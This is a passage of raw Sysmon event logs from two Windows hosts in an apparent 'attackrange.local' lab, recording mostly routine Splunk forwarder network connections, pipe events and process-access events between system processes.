14:57:27.485{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59477-false10.0.1.12-8000- 23542300x800000000000000048494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:29.054{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DD6DE7C30F9CA833305697B0BC287AB,SHA256=3B7C330A3E3399B5A2E5335953E247C33912BE9FD1580FC97B0ED62EAF0E1C1F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016168Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:29.504{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50275-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016167Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:30.197{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=097794EE8B3263E55E9024E603B55894,SHA256=E31BA7E7D01CCE757E60300616A01BF8E877AAFD15FF6F282E31021F61402277,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:30.070{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9999214A42450FF2577E768BF3305003,SHA256=D6723F8A0FE9045F764B98AA104D00726258A61D5281D872369A64B61FCE6AC7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016182Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725B-613B-F004-00000000F101}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016181Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016180Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016179Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016178Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016177Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016176Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016175Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016174Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016173Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016172Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-725B-613B-F004-00000000F101}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016171Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.764{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725B-613B-F004-00000000F101}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016170Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.773{625C326B-725B-613B-F004-00000000F101}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016169Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:31.201{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08488D6D2E2E84BA8593925D326A45AC,SHA256=CC1EA6A4375CB963A18611E4654F223331B9B2ADB20FF09B1096F2E9DA7ECFE4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:29.095{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59478-false10.0.1.12-8089- 23542300x800000000000000048498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:31.075{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1240C9296D17BEC6C239398A1FDED50C,SHA256=604E4E02937CD136ED07AD7ECE19FE8C555DAC7A03CCD15EC9DC6BE946030835,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:32.091{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C42E25AE57FAE3EBC9BFC0008AC2CED,SHA256=276E1068549F71F950F2C33F7AE589AFBEA5B0A7F5A8EC30F221456783DA38D2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016212Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C2E8E5C4854177CCA3E6953745E448F4,SHA256=94A1A1DD913E384F80E0BA942A0068CAD226ADDCC778B4AA8546D18BFD95518F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016211Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=878A1D9C7F4571CFE2BE3AB554E8A243,SHA256=8761BBD3AB1733F2714B0AB56F18BF9D00DF3ECA2A3D178664AF989D2E588C8F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016210Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725C-613B-F204-00000000F101}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016209Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016208Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016207Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016206Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016205Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016204Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016203Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016202Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 